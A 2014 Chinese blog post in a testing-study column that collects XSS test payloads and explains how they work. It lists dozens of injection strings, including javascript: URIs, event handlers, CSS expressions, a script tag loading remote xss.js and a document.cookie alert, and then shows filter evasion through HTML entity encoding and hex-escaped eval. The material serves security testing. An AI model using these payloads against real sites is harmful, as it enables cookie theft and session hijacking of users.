XSS測試用例與原理講解
1、<a href="javascript:alert(32)">DIBRG</a>
2、<img href="javascript:alert(32)">
在IE下可以,在FF下不可以
3、<img src=" http://xss.jpg" onerror=alert('XSS')>
IE,F(xiàn)F下均可
4、<img STYLE="background-image: url(javascript:alert('XSS'))">
在IE下可以,在FF下不可以
5、<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG SRC="javascript:alert(String.fromCharCode(88,83,83))"> <IMG SRC="jav ascript:alert('XSS');"> <SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT> <<SCRIPT>alert("XSS");//<</SCRIPT> <iframe src=http://example.com/scriptlet.html < <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert(document.cookie)> <BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")> <IMG DYNSRC="javascript:alert('XSS')"> <IMG DYNSRC="javascript:alert('XSS')"> <BR SIZE="&{alert('XSS')}"> <IMG SRC='vbscript:msgbox("XSS")'> <TABLE BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="width: expression(alert('XSS'));"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <?='<SCRIPT>alert("XSS")</SCRIPT>'?> <A HREF="javascript:document.location='http://www.example.com/'">XSS</A> <IMG SRC=javascript:alert('XSS')> <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> a="get"; b="URL("""; c="javascript:"; d="alert('XSS');"")"; eval(a+b+c+d); |
6、XSS轉(zhuǎn)碼
有攻就有防,網(wǎng)站程序員肯定不會放任大家利用XSS,所以他們常會過濾類似javascript的關鍵字符,讓大家構(gòu)造不了自己的XSS,我這里就撿兩個被忽略慣了的字符來說,它們是"&"和"\".首先來說說"&"字符,玩過SQL注入的都知道,注入的語句可以轉(zhuǎn)成16進制再賦給一個變量運行,XSS的轉(zhuǎn)碼和這個還真有異曲同工之妙,原因是我們的IE瀏覽器默認采用的是UNICODE編碼,HTML編碼可以用ASCII方式來寫,這種XSS轉(zhuǎn)碼支持10進制和16進制,SQL注入轉(zhuǎn)碼是將16進制字符串賦給一個變量,而XSS轉(zhuǎn)碼則是針對屬性所賦的值,下面我就拿<img src="javascript:alert('XSS');">示例:
<img src="javascript:a
lert('XSS');"> //10進制轉(zhuǎn)碼
<img src="javascrip
t:alert('XSS');"> //16進制轉(zhuǎn)碼。
這個分隔符還可以繼續(xù)加0變成“j” ,“j” ,“j” ,“j”等形式。
而這個"\"字符卻暴露了一個嚴重的XSS 0DAY漏洞,這個漏洞和CSS(Cascading Style Sheets)層疊樣式表有很大的關聯(lián),下面我就來看看這個漏洞,先舉個javascript的eval 函數(shù)的例子,官方是這樣定義這個函數(shù):
eval(codeString),必選項 codestring 參數(shù)是包含有效 JScript 代碼的字符串值。這個字符串將由 JScript 分析器進行分析和執(zhí)行。
我們的JavaScript中的"\"字符是轉(zhuǎn)義字符,所以可以使用"\"連接16進制字符串運行代碼
<SCRIPT LANGUAGE="JavaScript"> eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29") </SCRIPT> |
posted on 2014-06-20 10:34 順其自然EVO 閱讀(519) 評論(0) 編輯 收藏 所屬分類: 測試學習專欄